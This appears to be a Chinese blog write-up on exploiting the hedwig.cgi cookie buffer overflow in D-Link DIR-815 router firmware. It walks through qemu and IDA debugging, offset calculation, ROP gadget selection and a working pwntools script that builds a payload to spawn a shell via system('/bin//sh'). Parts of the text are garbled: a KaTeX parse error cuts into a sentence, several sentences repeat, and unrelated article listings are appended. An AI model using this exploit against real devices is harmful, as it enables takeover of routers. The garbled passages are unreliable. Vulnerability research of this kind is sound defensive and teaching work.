漏洞信息

固件下载地址

ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

漏洞成因分析

【漏洞信息】
根据漏洞信息,可以知道漏洞存在于漏洞组件hedwig.cgi 中。而hedwig.cgi 在cgibin 中。

而漏洞产生的原因是Cookie的值超长早场缓冲区溢出。
这里使用IDA 打开 cgibin 。 查找HTTP_COOKIE 。直接查找字符串,查看交叉引用。定位到sess_get_uid 函数。

在sess_get_uid 函数可以得知,这个函数会回去 "cookies"的uid的值。

漏洞调试

sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE="uid=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g 23946 ./htdocs/web/hedwig.cgi

调试可以看到产生溢出

使用脚本可以看到。$ra的值被覆盖 0x38694237

缓冲区溢出调试

  1. 首先打开qemu 的调试模式
  2. 使用IDA 联调,首先打上断点,然后进行调试
  3. 按F8 逐步调试,运行到 漏洞溢出点
  4. 根据sprintf 函数的特点,我们输入的参数应该是在a3寄存器中,打开Hex窗口(IDA−−>View−−>Opensubview−−>hexdump)。然后右击a3寄存器中,打开Hex 窗口( IDA--> View --> Open subview --> hex dump) 。 然后右击a3寄存器中,打开Hex窗口(IDA−−>View−−>Opensubview−−>hexdump)。然后右击a3 -->junp in a new hex window 。可以看到栈上已经产生了溢出。
  5. 继续执行F8执行下去,可以看到$ra 寄存器保存的值。

触发第二个prinf溢出

运行qemu

远程调试,可以看到成功的将uid的超长字符串利用sprintf拼接起来

计算$s0 的偏移

计算偏移

在IDA 进行静态分析,可以计算缓冲区到$ra的偏移0x24 (36)+0x400(1024) =1060

上面计算的偏移中包含字符串“/htdocs/webinc/fatlady.php\nprefix=/runtime/session/”,因此要计算真实的偏移,应该去掉字符串 的长度。如下图所示,这和上面计算的一样


973=1009-40
973+36(fp~s0)=1009
sudo ./test.sh ‘uid=1234’ python -c “print ‘uid=’+open(‘test’,‘r’).read(2000)”

劫持PC

这里生成"A"*1009 +“BBBB” 作为参数,可以看到$ra的值为"BBBB"。 劫持成功

构造ROP

  1. 根据返回处的汇编代码,可以看到可以控制的寄存器有s0s7、s0~s7、s0 s7、fp、$ra 寄存器
  2. 调试可以看到 libuClibc-0.9.30.1.so 库的基地址为 0x76738000

gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果
set architecture mips
target remote :23957
b *0x409A54 #hedwigcgi_main()函数返回jr ra处
c
vmmap
这里可看到 基地址0x76738000

3. 查看可以利用的函数 system(), 通过system 函数获取shell.
在/lib文件夹下找到libuClibc-0.9.30.1.so用IDA打开,system函数在0x53200处。


那么system函数的真实地址是0x76738000+0x00053200 = 0x7678b200
根据mips 调用函数的特性和system()函数,可以了解到system() 传入参数需要用到a0寄存器。查找可以将栈上数据放入a0寄存器。 查找可以将栈上数据放入a0寄存器。查找可以将栈上数据放入a0寄存器的gadget。
search–> mips rop gadgets --> "misrop.stackfinders()"可以看到所有把堆栈数据放入寄存器中的指令。这里选择0x000159CC。 我试了一下其他的也可以用。

双击0x000159CC,可以看到指令序列,这里是把sp+ (0x14C)332 + (-0x13C)316=sp + (0x10) 16 地址存入到$s5寄存器,最后会 $s5 寄存器的地址传递给 $a0 寄存器作为参数(这里要结合mips的分支延迟效应去理解)。并且会将 KaTeX parse error: Expected 'EOF', got '#' at position 82: …60121523522.png#̲pic_center)接下来我…s0寄存器中的指令序列,这里由于上面分析我们是可以控制$s0寄存器的,因此只需要在0x4C0+var_s0 栈上放上system函数地址 0x7678b200 。

但是因为system函数地址中最低为是0x00,在将地址传入cookies中后,会被sprintf截断,导致缓冲区溢出失败。
因此可以将system函数真实地址-1 从而绕过sprintf的截断。
0x7678b200-1=0x7678b1ff
然后将0x7678b1ff 覆盖到$s0寄存器中。然后在libuClibc-0.9.30.1.so 找到可以恢复system地址的指令序列。这里搜索"mipsrop.find(“addiu $s0,1”)",选择如下图所示 0x000158c8 的指令序列。

那么接下来就可以来构造我们需要的完整的ROP。

exploit

from pwn import *context.endian = "little"
context.arch = "mips"
libuClibc_base_addr= 0x76738000
system_addr = 0x7678b1ff
gadget1 = 0x000158c8
gadget2 = 0x000159ccpadding ="A"*973
padding +=p32(0x7678b1ff)  # $s0
padding +="AAAA"           # $s1
padding +="AAAA"           # $s2
padding +="AAAA"           # $s3
padding +="AAAA"           # $s4
padding +=p32(libuClibc_base_addr+ gadget2) # $s5
padding +="AAAA"           # $s6
padding +="AAAA"           # $s7
padding +="AAAA"           # fp
padding +=p32(libuClibc_base_addr+ gadget1)  # $ra
padding +="AAAAAAAAAAAAAAAA"  # padding 16*'A'
padding += "/bin//sh"f = open("exploit","wb+")
f.write(padding)
f.close()

动态调试


再执行一步,可以看到$s5寄存器中的地址指向的值是"/bin//sh"

DIR-815 路由器多次溢出漏洞分析相关推荐

  1. kali+php+缓冲区溢出,CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析

    CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析 摘要:本文通过对一个ARM路由器缓冲区溢出漏洞的分析,实践逆向数据流跟踪的思路与方法. 假设读者:了解ARM指令集基础知识.了解栈溢出 ...

  2. 转载:WPS 2012/2013 RTF fchars 堆溢出漏洞分析

    WPS 2012/2013 RTF fchars 堆溢出漏洞分析 On 2013年12月11日, in 安全分析, by code_audit_labs by phperl ,zzf,nine8 of ...

  3. Linksys WRT54G 路由器溢出漏洞分析—— 运行环境修复

    博文视点安全技术大系 · 2015/08/04 15:40 本文节选自<揭秘家用路由器0day漏洞挖掘技术>,吴少华主编,王炜.赵旭编著,电子工业出版社 2015年8月出版. 本章实验测试 ...

  4. android 9patch 漏洞,Android 9patch 图片解析堆溢出漏洞分析(CVE-2015-1532)

    [前言] 日前谷歌公开了一个今年1月份更新的漏洞.这个漏洞修复了一个存在于Android 5.1版本以下图片渲染的问题,可以查看相关链接. 9patch是Android上特有的一种图片格式,就是在普通 ...

  5. 殊途同归的CVE-2012-0774 TrueType字体整数溢出漏洞分析

    1. 前言 官方的漏洞通报中,关于这个漏洞的信息其实很少: Integer overflow in Adobe Reader and Acrobat 9.x before 9.5.1 and 10.x ...

  6. CVE-2012-1876 Internet Exporter堆溢出漏洞分析

    文章目录 漏洞描述 IE浏览器组件介绍 分析环境 POC 漏洞分析 漏洞利用 参考资料 漏洞描述 该IE浏览器漏洞的成因在mshtml.dll这个模块的CTableLayout::CalculateM ...

  7. c++ error函数_Linux中create_elf_tables函数整型溢出漏洞分析(CVE201814634)

    在这篇文章中,我们将跟大家分析Linux平台中createelftables函数的一个整型溢出漏洞(CVE-2018-14634). 概述 在近期的一次安全分析过程中,我们在64位Linux系统内核里 ...

  8. Netgear R6400v2 堆溢出漏洞分析与利用

    2020 年 6 月,ZDI发布了一个关于Netgear R6700型号设备上堆溢出漏洞的安全公告,随后又发布了一篇关于该漏洞的博客,其中对该漏洞进行了详细分析,并给出了完整的漏洞利用代码.该漏洞存在 ...

  9. CVE-2014-6321 schannel堆溢出漏洞分析

    cssembly · 2014/12/05 12:09 0x00 背景 MS14-066 (CVE-2014-6321) 是存在于Microsoft的schannel.dll中的TLS堆缓冲区溢出漏洞 ...

最新文章

  1. JConsole的使用
  2. 成长必须避开的5个陷阱
  3. 使用CSS完美实现垂直居中的方法
  4. C++struct和class区别
  5. 硬件基础:理解串口通信以及232,485,422常见问题
  6. 《四世同堂》金句摘抄(十七)
  7. linux怎么查看数据库性能,正确评估SQL数据库性能,你必须知道的原理和方法!...
  8. python pandas处理无限值inf
  9. “芯”视野主题系列—— 加密芯片在医疗、美容行业内的应用
  10. 在河北当中学老师用不用考计算机,想当教师没编制?两类教师不用考,直接进编制...
  11. SpringBoot入门教程(十四)导出Excel
  12. LM324运放器应用实例
  13. Ant Design 遭删库!
  14. java计算机毕业设计高校学生党建管理系统源码+mysql数据库+系统+lw文档+部署
  15. phyton 100题(更新中)
  16. 什么是模型?什么是建模?
  17. 使用Axure制作手风琴菜单
  18. Android app调用第三方地图(百度地图,高德地图,谷歌地图)导航
  19. Try2Hack 过关技巧和密码
  20. 云原生之docker详细知识技能介绍与实战

热门文章

  1. java字符转变汉子_java字符编码转换研究(转) 第一部分收藏
  2. VMware® vSphere虚拟化平台限制虚拟机网卡速率一例
  3. python请输入一个人的名字_python小练习
  4. 无需多余操作,一键式实现低代码集成企业微信
  5. radix-4 FFT 原理和C语言代码实现
  6. 为什么样本方差公式中要除以n-1而不是n
  7. 计算机更改串口方法,更改电脑com口的操作方法
  8. element ui 对话框改 模仿苹果手机 预览视图
  9. input样式去掉苹果手机的默认样式
  10. springboot国际化message配置